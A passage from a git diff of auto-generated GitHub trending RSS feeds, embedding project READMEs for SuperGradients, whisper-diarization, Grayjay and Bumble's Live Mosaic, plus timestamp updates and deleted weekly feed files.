href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/senet.py">SENet </a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/shufflenet.py">ShuffleNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/shufflenetv2.py">ShuffleNet v2</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/classification_models/vgg.py">VGG</a></li> </ul> <h3>Semantic Segmentation</h3> <ul> <li><a href="https://bit.ly/3RrtMMO">PP-LiteSeg</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/segmentation_models/ddrnet.py">DDRNet (Deep Dual-resolution Networks)</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/segmentation_models/laddernet.py">LadderNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/segmentation_models/regseg.py">RegSeg</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/segmentation_models/shelfnet.py">ShelfNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/segmentation_models/stdc.py">STDC</a></li> </ul> <h3>Object Detection</h3> <ul> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/detection_models/csp_darknet53.py">CSP DarkNet</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/detection_models/darknet53.py">DarkNet-53</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/detection_models/ssd.py">SSD (Single Shot Detector)</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/detection_models/yolox.py">YOLOX</a></li> </ul> <h3>Pose Estimation</h3> <ul> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/models/pose_estimation_models/dekr_hrnet.py">DEKR-W32-NO-DC</a></li> </ul> <hr> <h2>Implemented Datasets</h2> <hr> <p>Deci provides implementation for various datasets. If you need to download any of the dataset, you can <a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/Dataset_Setup_Instructions.md">find instructions</a>.</p> <h3>Image Classification</h3> <ul> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/classification_datasets/cifar.py">Cifar10</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/classification_datasets/imagenet_dataset.py">ImageNet</a></li> </ul> <h3>Semantic Segmentation</h3> <ul> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/segmentation_datasets/cityscape_segmentation.py">Cityscapes</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/segmentation_datasets/coco_segmentation.py">Coco</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/segmentation_datasets/pascal_voc_segmentation.py">PascalVOC 2012 / PascalAUG 2012</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/segmentation_datasets/supervisely_persons_segmentation.py">SuperviselyPersons</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/segmentation_datasets/mapillary_dataset.py">Mapillary Vistas Dataset</a></li> </ul> <h3>Object Detection</h3> <ul> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/detection_datasets/coco_detection.py">Coco</a></li> <li><a href="https://github.com/Deci-AI/super-gradients/raw/master/src/super_gradients/training/datasets/detection_datasets/pascal_voc_detection.py">PascalVOC 2007 &amp; 2012</a></li> </ul> <h3>Pose Estimation</h3> <ul> <li><a href="https://github.com/Deci-AI/super-gradients/raw/cadcfdd64e7808d21cccddbfaeb26acb8267699b/src/super_gradients/recipes/dataset_params/coco_pose_estimation_dekr_dataset_params.yaml">COCO</a></li> </ul> <hr> <h2>Documentation</h2> <p>Check SuperGradients <a href="https://docs.deci.ai/super-gradients/documentation/source/welcome.html">Docs</a> for full documentation, user guide, and examples.</p> <h2>Contributing</h2> <p>To learn about making a contribution to SuperGradients, please see our <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/CONTRIBUTING.md">Contribution page</a>.</p> <p>Our awesome contributors:</p> <a href="https://github.com/Deci-AI/super-gradients/graphs/contributors"> <img src="https://contrib.rocks/image?repo=Deci-AI/super-gradients"> </a> <p><br>Made with <a href="https://contrib.rocks">contrib.rocks</a>.</p> <h2>Citation</h2> <p>If you are using SuperGradients library or benchmarks in your research, please cite SuperGradients deep learning training library.</p> <h2>Community</h2> <p>If you want to be a part of SuperGradients growing community, hear about all the exciting news and updates, need help, request for advanced features, or want to file a bug or issue report, we would love to welcome you aboard!</p> <ul> <li> <p>Discord is the place to be and ask questions about SuperGradients and get support. <a href="https://discord.gg/2v6cEGMREN">Click here to join our Discord Community</a></p> </li> <li> <p>To report a bug, <a href="https://github.com/Deci-AI/super-gradients/issues">file an issue</a> on GitHub.</p> </li> <li> <p>Join the <a href="https://www.supergradients.com/#Newsletter">SG Newsletter</a> for staying up to date with new features and models, important announcements, and upcoming events.</p> </li> <li> <p>For a short meeting with us, use this <a href="https://calendly.com/ofer-baratz-deci/15min">link</a> and choose your preferred time.</p> </li> </ul> <h2>License</h2> <p>This project is released under the <a href="https://raw.githubusercontent.com/Deci-AI/super-gradients/master/LICENSE">Apache 2.0 license</a>.</p> <h2>Citing</h2> <h3>BibTeX</h3> <pre><code class="language-bibtex"> @misc{supergradients, doi = {10.5281/ZENODO.7789328}, url = {https://zenodo.org/record/7789328}, author = {Aharon, Shay and {Louis-Dupont} and {Ofri Masad} and Yurkova, Kate and {Lotem Fridman} and {Lkdci} and Khvedchenya, Eugene and Rubin, Ran and Bagrov, Natan and Tymchenko, Borys and Keren, Tomer and Zhilko, Alexander and {Eran-Deci}}, title = {Super-Gradients}, publisher = {GitHub}, journal = {GitHub repository}, year = {2021}, } </code></pre> <h3>Latest DOI</h3> <p><a href="https://doi.org/10.5281/zenodo.7789328"><img src="https://zenodo.org/badge/DOI/10.5281/zenodo.7789328.svg?sanitize=true" alt="DOI"></a></p> <hr> <h2>Deci Platform</h2> <p>Deci Platform is our end to end platform for building, optimizing and deploying deep learning models to production.</p> <p><a href="https://bit.ly/3qO3icq">Request free trial</a> to enjoy immediate improvement in throughput, latency, memory footprint and model size.</p> <p>Features</p> <ul> <li>Automatically compile and quantize your models with just a few clicks (TensorRT, OpenVINO).</li> <li>Gain up to 10X improvement in throughput, latency, memory and model size.</li> <li>Easily benchmark your models’ performance on different hardware and batch sizes.</li> <li>Invite co-workers to collaborate on models and communicate your progress.</li> <li>Deci supports all common frameworks and Hardware, from Intel CPUs to Nvidia's GPUs and Jetsons. ֿ</li> </ul> <p>Request free trial <a href="https://bit.ly/3qO3icq">here</a></p> - - - MahmoudAshraf97/whisper-diarization - 2023-10-29T01:55:30Z - tag:github.com,2023-10-29:/MahmoudAshraf97/whisper-diarization - - <p>Automatic Speech Recognition with Speaker Diarization based on OpenAI Whisper</p><hr><h1 align="center">Speaker Diarization Using OpenAI Whisper</h1> <p align="center"> <a href="https://github.com/MahmoudAshraf97/whisper-diarization/stargazers"> <img src="https://img.shields.io/github/stars/MahmoudAshraf97/whisper-diarization.svg?colorA=orange&amp;colorB=orange&amp;logo=github" alt="GitHub stars"> </a> <a href="https://github.com/MahmoudAshraf97/whisper-diarization/issues"> <img src="https://img.shields.io/github/issues/MahmoudAshraf97/whisper-diarization.svg?sanitize=true" alt="GitHub issues"> </a> <a href="https://github.com/MahmoudAshraf97/whisper-diarization/raw/master/LICENSE"> <img src="https://img.shields.io/github/license/MahmoudAshraf97/whisper-diarization.svg?sanitize=true" alt="GitHub license"> </a> <a href="https://twitter.com/intent/tweet?text=&amp;url=https%3A%2F%2Fgithub.com%2FMahmoudAshraf97%2Fwhisper-diarization"> <img src="https://img.shields.io/twitter/url/https/github.com/MahmoudAshraf97/whisper-diarization.svg?style=social" alt="Twitter"> </a> <a href="https://colab.research.google.com/github/MahmoudAshraf97/whisper-diarization/blob/main/Whisper_Transcription_%2B_NeMo_Diarization.ipynb"> <img src="https://colab.research.google.com/assets/colab-badge.svg?sanitize=true" alt="Open in Colab"> </a> </p> <h1></h1> <p>Speaker Diarization pipeline based on OpenAI Whisper I'd like to thank <a href="https://github.com/m-bain">@m-bain</a> for Wav2Vec2 forced alignment, <a href="https://github.com/mu4farooqi">@mu4farooqi</a> for punctuation realignment algorithm</p> <p><img src="https://github.blog/wp-content/uploads/2020/09/github-stars-logo_Color.png" alt="drawing" width="25"> <strong>Please, star the project on github (see top-right corner) if you appreciate my contribution to the community!</strong></p> <h2>What is it</h2> <p>This repository combines Whisper ASR capabilities with Voice Activity Detection (VAD) and Speaker Embedding to identify the speaker for each sentence in the transcription generated by Whisper. First, the vocals are extracted from the audio to increase the speaker embedding accuracy, then the transcription is generated using Whisper, then the timestamps are corrected and aligned using WhisperX to help minimize diarization error due to time shift. The audio is then passed into MarbleNet for VAD and segmentation to exclude silences, TitaNet is then used to extract speaker embeddings to identify the speaker for each segment, the result is then associated with the timestamps generated by WhisperX to detect the speaker for each word based on timestamps and then realigned using punctuation models to compensate for minor time shifts.</p> <p>Whisper, WhisperX and NeMo parameters are coded into diarize.py and helpers.py, I will add the CLI arguments to change them later</p> <h2>Installation</h2> <p><code>FFMPEG</code> and <code>Cython</code> are needed as prerquisites to install the requirements</p> <pre><code>pip install cython </code></pre> <p>or</p> <pre><code>sudo apt update &amp;&amp; sudo apt install cython3 </code></pre> <pre><code># on Ubuntu or Debian sudo apt update &amp;&amp; sudo apt install ffmpeg # on Arch Linux sudo pacman -S ffmpeg # on MacOS using Homebrew (https://brew.sh/) brew install ffmpeg # on Windows using Chocolatey (https://chocolatey.org/) choco install ffmpeg # on Windows using Scoop (https://scoop.sh/) scoop install ffmpeg </code></pre> <pre><code>pip install -r requirements.txt </code></pre> <h2>Usage</h2> <pre><code>python diarize.py -a AUDIO_FILE_NAME </code></pre> <p>If your system has enough VRAM (&gt;=10GB), you can use <code>diarize_parallel.py</code> instead, the difference is that it runs NeMo in parallel with Whisper, this can be benifecial in some cases and the result is the same since the two models are nondependent on each other. This is still experimental, so expect errors and sharp edges. Your feedback is welcome.</p> <h2>Command Line Options</h2> <ul> <li><code>-a AUDIO_FILE_NAME</code>: The name of the audio file to be processed</li> <li><code>--no-stem</code>: Disables source separation</li> <li><code>--whisper-model</code>: The model to be used for ASR, default is <code>medium.en</code></li> <li><code>--suppress_numerals</code>: Transcribes numbers in their pronounced letters instead of digits, improves alignment accuracy</li> </ul> <h2>Known Limitations</h2> <ul> <li>Overlapping speakers are yet to be addressed, a possible approach would be to separate the audio file and isolate only one speaker, then feed it into the pipeline but this will need much more computation</li> <li>There might be some errors, please raise an issue if you encounter any.</li> </ul> <h2>Future Improvements</h2> <ul> <li>Implement a maximum length per sentence for SRT</li> <li>Improve Batch Processing</li> </ul> <h2>Acknowledgements</h2> <p>Special Thanks for <a href="https://github.com/adamjonas">@adamjonas</a> for supporting this project This work is based on <a href="https://github.com/openai/whisper">OpenAI's Whisper</a> , <a href="https://github.com/guillaumekln/faster-whisper">Faster Whisper</a> , <a href="https://github.com/NVIDIA/NeMo">Nvidia NeMo</a> , and <a href="https://github.com/facebookresearch/demucs">Facebook's Demucs</a></p> - - \ No newline at end of file diff --git a/kaitai-struct/daily/index.xml b/kaitai-struct/daily/index.xml index ddf3ad09dda..ab9e106f6a5 100644 --- a/kaitai-struct/daily/index.xml +++ b/kaitai-struct/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kaitai Struct Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:28Z + 2023-10-30T01:30:41Z Daily Trending of Kaitai Struct in GitHub \ No newline at end of file diff --git a/kaitai-struct/weekly/index.xml b/kaitai-struct/weekly/index.xml deleted file mode 100644 index 6c9bcd89d10..00000000000 --- a/kaitai-struct/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Kaitai Struct Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:48Z - Weekly Trending of Kaitai Struct in GitHub - - \ No newline at end of file diff --git a/kakounescript/daily/index.xml b/kakounescript/daily/index.xml index 95202ca2296..87cce5808b5 100644 --- a/kakounescript/daily/index.xml +++ b/kakounescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub KakouneScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:28Z + 2023-10-30T01:30:42Z Daily Trending of KakouneScript in GitHub \ No newline at end of file diff --git a/kakounescript/weekly/index.xml b/kakounescript/weekly/index.xml deleted file mode 100644 index 24856fa82df..00000000000 --- a/kakounescript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KakouneScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:47Z - Weekly Trending of KakouneScript in GitHub - - \ No newline at end of file diff --git a/kicad-layout/daily/index.xml b/kicad-layout/daily/index.xml index c0cb64250a1..30efa7a144d 100644 --- a/kicad-layout/daily/index.xml +++ b/kicad-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:31Z + 2023-10-30T01:30:47Z Daily Trending of KiCad Layout in GitHub \ No newline at end of file diff --git a/kicad-layout/weekly/index.xml b/kicad-layout/weekly/index.xml deleted file mode 100644 index 9f916b34953..00000000000 --- a/kicad-layout/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KiCad Layout Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:51Z - Weekly Trending of KiCad Layout in GitHub - - \ No newline at end of file diff --git a/kicad-legacy-layout/daily/index.xml b/kicad-legacy-layout/daily/index.xml index f0f4377ba89..2cb40833366 100644 --- a/kicad-legacy-layout/daily/index.xml +++ b/kicad-legacy-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Legacy Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:29Z + 2023-10-30T01:30:45Z Daily Trending of KiCad Legacy Layout in GitHub \ No newline at end of file diff --git a/kicad-legacy-layout/weekly/index.xml b/kicad-legacy-layout/weekly/index.xml deleted file mode 100644 index d3ae9dd869c..00000000000 --- a/kicad-legacy-layout/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KiCad Legacy Layout Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:49Z - Weekly Trending of KiCad Legacy Layout in GitHub - - \ No newline at end of file diff --git a/kicad-schematic/daily/index.xml b/kicad-schematic/daily/index.xml index af8365f7dc5..da42062c066 100644 --- a/kicad-schematic/daily/index.xml +++ b/kicad-schematic/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Schematic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:30Z + 2023-10-30T01:30:46Z Daily Trending of KiCad Schematic in GitHub \ No newline at end of file diff --git a/kicad-schematic/weekly/index.xml b/kicad-schematic/weekly/index.xml deleted file mode 100644 index 8be32112341..00000000000 --- a/kicad-schematic/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub KiCad Schematic Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:50Z - Weekly Trending of KiCad Schematic in GitHub - - \ No newline at end of file diff --git a/kit/daily/index.xml b/kit/daily/index.xml index d4f36917c39..a55a727f13d 100644 --- a/kit/daily/index.xml +++ b/kit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:34Z + 2023-10-30T01:30:48Z Daily Trending of Kit in GitHub \ No newline at end of file diff --git a/kit/weekly/index.xml b/kit/weekly/index.xml deleted file mode 100644 index 6820bfa6fbd..00000000000 --- a/kit/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Kit Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:55:54Z - Weekly Trending of Kit in GitHub - - \ No newline at end of file diff --git a/kotlin/daily/index.xml b/kotlin/daily/index.xml index f542b6012d0..18b26c9ea0f 100644 --- a/kotlin/daily/index.xml +++ b/kotlin/daily/index.xml @@ -1,21 +1,7 @@ GitHub Kotlin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:35:38Z + 2023-10-30T01:30:52Z Daily Trending of Kotlin in GitHub - - futo-org/grayjay-android - 2023-10-29T01:35:38Z - tag:github.com,2023-10-29:/futo-org/grayjay-android - - <p>Read-only mirror of Grayjay repo for issue tracking</p><hr><h1>PlatformPlayer</h1> <p>The FUTO media app endeavours creating infrastructure for creators to have their content hosted by someone else but at the same time having creators retain full ownership of their content. We want creators to feel like they are publishing to the world, and we want multiple indexers competing with each other to do a good job connecting consumers to creators and their content.</p> <p>One part of the solution is to create an application that allows users to search through all available media websites and giving creators the tools for direct monetization of their content by allowing users to directly donate to the content creator.</p> <p>FUTO is an organization dedicated to developing, both through in-house engineering and investment, technologies that frustrate centralization and industry consolidation.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/video.jpg" height="700"></b></td> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/video-details.jpg" height="700"></b></td> </tr> <tr> <td>Video</td> <td>Video (details)</td> </tr> </tbody> </table> <h2>What does the app do?</h2> <p>The FUTO media app is a player that exposes multiple video websites as sources in the app. These sources can be easily configured and third-party sources can also manually be added. This is done through the sources UI.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/sources.jpg" height="700"></b></td> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/sources-disabled.jpg" height="700"></b></td> </tr> <tr> <td>Sources (all enabled)</td> <td>Sources (one disabled)</td> </tr> </tbody> </table> <p>Additional sources can also be installed. These sources are JavaScript sources, created and maintained by the community.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/source-install.png" height="700"></b></td> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/source-settings.jpg" height="700"></b></td> </tr> <tr> <td>Install a new source</td> <td>Configure a source</td> </tr> </tbody> </table> <p>Once the sources are configured, the combined results will be shown throughout the app. The core features of the app will be highlighted below.</p> <h3>Searching</h3> <p>When a user enters a search term into the search bar, the query is posted to the underlying platforms and a list of results that are ranked by relevance is returned. The search functionality of the app allows users to search multiple sources at once, allowing users to discover a wider range of content that is relevant to their interests.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/search-list.jpg" height="700"></b></td> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/search-preview.jpg" height="700"></b></td> </tr> <tr> <td>Search (list)</td> <td>Search (preview)</td> </tr> </tbody> </table> <h3>Channels</h3> <p>Channels allow users to view the creators content, read more about them or support them by donating, purchasing from their store or buying a membership. The FUTO media app only links to other stores and the app does not play an intermediate role in the actual purchase process. This way, creators can directly monetize their own content in the way they like.</p> <p>Creators are able to configure their profile using NeoPass.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/channel.jpg" height="700"></b></td> </tr> <tr> <td>Channel</td> </tr> </tbody> </table> <h3>Feed</h3> <p>Subscriptions are a way for users to keep up with the latest videos and content from their favorite creators. The creators you are subscribed to are shown in the creators tab. In the future we will add both creator search and suggested creators.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/creators.png" height="700"></b></td> </tr> <tr> <td>Creators</td> </tr> </tbody> </table> <p>When you subscribe to a creator, you'll be able to find new videos uploaded by them in the subscriptions tab.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/subscriptions-list.png" height="700"></b></td> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/subscriptions-preview.png" height="700"></b></td> </tr> <tr> <td>Subscriptions (list)</td> <td>Subscriptions (preview)</td> </tr> </tbody> </table> <p>Additionally there is also the "Home" feed which is based purely on recommendations by the underlying platforms. Also here we hope to offer user-picked recommendation engines in the future.</p> <h2>Settings</h2> <p>The app offers a lot of settings customizing how the app looks and feels. An example of this is the background behaviour, do you wish to have it use picture in picture, background play or shut off entirely. Another example configuration option is choosing between list views or video previews.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/settings.jpg" height="700"></b></td> </tr> <tr> <td>Settings</td> </tr> </tbody> </table> <h3>Playlists</h3> <p>Playlists allow you to make a collection of videos that you can create and customize to your liking. When you add videos to a playlist, they're grouped together in a single location, making it easy for you to find and watch all of the videos in the playlist in sequence.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/playlists.jpg" height="700"></b></td> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/playlist.jpg" height="700"></b></td> </tr> <tr> <td>Playlists</td> <td>Playlist</td> </tr> </tbody> </table> <p>Playlists can also be downloaded in their entirety.</p> <h3>Downloads</h3> <p>Both individual videos and playlists can be downloaded for local, offline playback. You can watch downloaded videos any time, even if you do not have an active internet connection.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/downloads.jpg" height="700"></b></td> </tr> <tr> <td>Downloads</td> </tr> </tbody> </table> <h3>Casting</h3> <p>The app can also cast to a big screen using any of the supported protocols (FastCast, ChromeCast, AirPlay). Not all casting protocols support all features. As a rule of thumb feature-wise FastCast &gt; ChromeCast &gt; AirPlay.</p> <p>For more information about casting please click <a href="https://raw.githubusercontent.com/futo-org/grayjay-android/master/docs/casting.md">here</a>.</p> <table border="0"> <tbody> <tr> <td><b style="font-size:30px"><img src="https://raw.githubusercontent.com/futo-org/grayjay-android/master/images/casting.jpg" height="700"></b></td> </tr> <tr> <td>Casting</td> </tr> </tbody> </table> <h3>Commenting and rating</h3> <p>The app can also cast to comment and rate. For more information about this please click <a href="https://raw.githubusercontent.com/futo-org/grayjay-android/master/docs/polycentric.md">here</a>.</p> <h3>Creator Linking</h3> <p>The app can also cast to link channels together. For more information about this please click <a href="https://raw.githubusercontent.com/futo-org/grayjay-android/master/docs/linking.md">here</a>.</p> <h3>Migration and recommendations</h3> <p>Sources have the ability to login, allowing you to use features that require credentials like importing your playlists, importing your subscriptions or have personalized recommendations. Some platforms may require a membership to work at all.</p> <p>In the future we hope to offer users the choice of their desired recommendation engine and have multiple competing recommendation engines for different audiences.</p> <h2>Building</h2> <ol> <li>Download a copy of the repository.</li> <li>Open the project in Android Studio: Once the repository is cloned, you can open it in Android Studio by selecting "Open an Existing Project" from the welcome screen and navigating to the directory where you cloned the repository.</li> <li>Build the project: With the project open in Android Studio, you can build it by selecting "Build &gt; Make Project" from the main menu. This will compile the code and generate an APK file that you can install on your device or emulator.</li> <li>Run the project: To run the project, select "Run &gt; Run 'app'" from the main menu. This will launch the app on your device or emulator, allowing you to test it and make any necessary changes.</li> </ol> <h2>Contributing</h2> <p>Please see <a href="https://raw.githubusercontent.com/futo-org/grayjay-android/master/CONTRIBUTION.md">CONTRIBUTION.md</a>.</p> <h2>CI/CD</h2> <p>Tests will always run and are required to pass before a merge request is allowed to be merged. The build/deploy CI/CD steps will only be triggered by a tag on the master branch.</p> <h3>Making a new build</h3> <p>Create a tag on the master branch, incrementing the last version number by 1 (for example <code>25</code> to <code>26</code>).</p> <p>Click on the CI/CD tab, you should now see the tests and build are in progress. If the build succeeds the last step will become available. The last step is a manual action which can be triggered by clicking the run button on the action. This action will deploy the build to all users using the app through auto-update.</p> <h2>Documentation</h2> <p>The documentation can be found <a href="https://gitlab.futo.org/videostreaming/documents/-/wikis/API-Overview">here</a>.</p> - - - bumble-tech/live-mosaic - 2023-10-29T01:35:38Z - tag:github.com,2023-10-29:/bumble-tech/live-mosaic - - <p>Collaborative message board and dynamic image mosaic for #dcldn23</p><hr><h1>Bumble Tech Live Mosaic</h1> <p>Brought to you by the Android team at Bumble Inc., Live Mosaic is a Compose Multiplatform project featuring a collaborative message board and dynamic image mosaic.</p> <h2>Powered by <img src="https://user-images.githubusercontent.com/238198/177164121-3aa4d19d-7714-4f2e-af12-7d3335b43f9c.png" width="20"> Appyx</h2> <p>If you like this project, please consider starring the Appyx repo, giving us a shout on social media, or both–we’ll appreciate it! We’re more than happy to chat about our projects if you come to our booth.</p> <p>More info about Appyx: <a href="https://bumble-tech.github.io/appyx/">https://bumble-tech.github.io/appyx/</a></p> <h2>What is this all about?</h2> <p>Help us complete our image mosaics by adding your entry to our collaborative message board! Every entry automatically adds a tile to the current image mosaic in progress.</p> <h2>What can I win?</h2> <ul> <li>Participating earns you a ticket in our raffle to win one of five <strong>£250 Amazon vouchers</strong>.</li> <li>Additionally, we have some optional <a href="https://raw.githubusercontent.com/bumble-tech/live-mosaic/main/CHALLENGES.md">challenges</a> that can earn you one of six <strong>£50 Amazon vouchers</strong>. These are on a first come, first served basis, and a maximum of one per person.</li> </ul> <p>We’ll announce the winning raffle tickets at our booth and on @bumble_inc at 4pm on Friday, 27th October!</p> <h2>How can I participate?</h2> <p>Get familiar with <a href="https://github.com/bumble-tech/live-mosaic/raw/main/shared/src/commonMain/kotlin/com/bumble/livemosaic/model/Entry.kt"><code>Entry</code></a> class and its types:</p> <ul> <li><code>Text</code>: A simple message</li> <li><code>Image</code>: A photo</li> <li><code>CustomComposable</code>: get creative!</li> </ul> <p>Create your <code>Entry</code>:</p> <ul> <li>Add it to the list in <a href="https://github.com/bumble-tech/live-mosaic/raw/main/shared/src/commonMain/kotlin/com/bumble/livemosaic/model/Entries.kt"><code>Entries.kt</code></a>!</li> <li>Create a pull request and the Bumble Inc team will review it!</li> <li>Show us your pull request at the Bumble Inc. booth on your device, and once we merge it, we’ll hand you your raffle ticket.</li> </ul> <h2>I don’t have a laptop with me, how can I participate?</h2> <p>Creating a text entry is simple enough that you could easily do it from mobile! See <a href="https://github.com/mobile">GitHub Mobile</a>.</p> <p>Alternatively, we’re happy to post your message or photo for you at the booth, provided you can show proof that your GitHub account belongs to you.</p> <h2>What should I post?</h2> <p>Bumble Inc. is all about promoting Kind Connections online and in real life, so think about how you can do this at <strong>#dcldn23</strong>.</p> <p>Inspiration for your entries:</p> <ul> <li>Your favourite speaker or session</li> <li>Your most surprising learning from Droidcon London</li> <li>Favourite booth / best merch</li> <li>Take a stroll around the local area and photograph a local landmark/your favourite spot</li> <li>Shout out someone who enriched your Droidcon London experience</li> <li>Let us know where you’re visiting from</li> <li>Spooky halloween sightings 👻</li> </ul> <p>Why not share on socials with <strong>#LiveMosaic</strong> <strong>#dcldn23</strong>? Tag <a href="https://twitter.com/Bumble_Tech">@Bumble_Tech</a> on X.</p> <h2>Image entry requirements</h2> <p>If you're adding an image to the entries:</p> <ul> <li>The above content guidelines apply</li> <li>Should not be larger than 500 KB</li> <li>Should not be larger than 600 x 400px</li> <li>Be sure to add it to <code>/shared/commonMain/resources/participant</code></li> <li>For the best looks, have it in landscape mode with 3:2 aspect ratio</li> </ul> <h2><span>💻</span> How can I launch the project on desktop?</h2> <img width="500" src="https://imgur.com/KP9yZWd.png"> <ul> <li>Clone the project and open it in Android Studio</li> <li>Open <code>Edit configurations</code></li> <li>Click + in the top left corner, choose <code>Gradle</code></li> <li>Type <code>live-mosaic:desktopApp</code> in the Gradle project field</li> <li>Type <code>run</code> in the input above it</li> <li>Close the window, now you can launch it from where you usually pick the android app</li> </ul> <p><strong>Tip</strong>: After launching the app, look for a faint <span>⏸</span> in the top left corner. It turns on/off some manual controls to play with!</p> <h2>Conditions of entry</h2> <ul> <li>You must be physically present at the conference for your entry to be merged.</li> <li>One entry per image mosaic.</li> <li>One raffle ticket per person.</li> <li>You can participate in all mosaics with additional entries, but you only get a raffle ticket for the first one.</li> <li>Please take care not to remove or change someone else’s entry.</li> </ul> <p>All entries will be reviewed by content moderators appointed by Bumble Inc. We reserve the right to refuse a pull request if we feel that the content is inappropriate in any way, or isn’t promoting Kind Connections.</p> <p>Examples of content that we would refuse may include but are not limited to:</p> <ul> <li>Harsh, provocative language or cursing;</li> <li>Political views;</li> <li>Jokes that are at the expense of anyone;</li> <li>Images that we deem inappropriate.</li> </ul> <h2>Terms and conditions</h2> <ul> <li><a href="https://github.com/bumble-tech/live-mosaic/raw/main/Droidcon%20London%20Competition%20Terms.pdf">Droidcon London Competition Terms.pdf</a></li> <li><a href="https://github.com/bumble-tech/live-mosaic/raw/main/Droidcon%20London%20Giveaway%20Terms.pdf">Droidcon London Giveaway Terms.pdf</a></li> </ul> <h2>License</h2> <pre> Copyright 2023 Bumble. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by 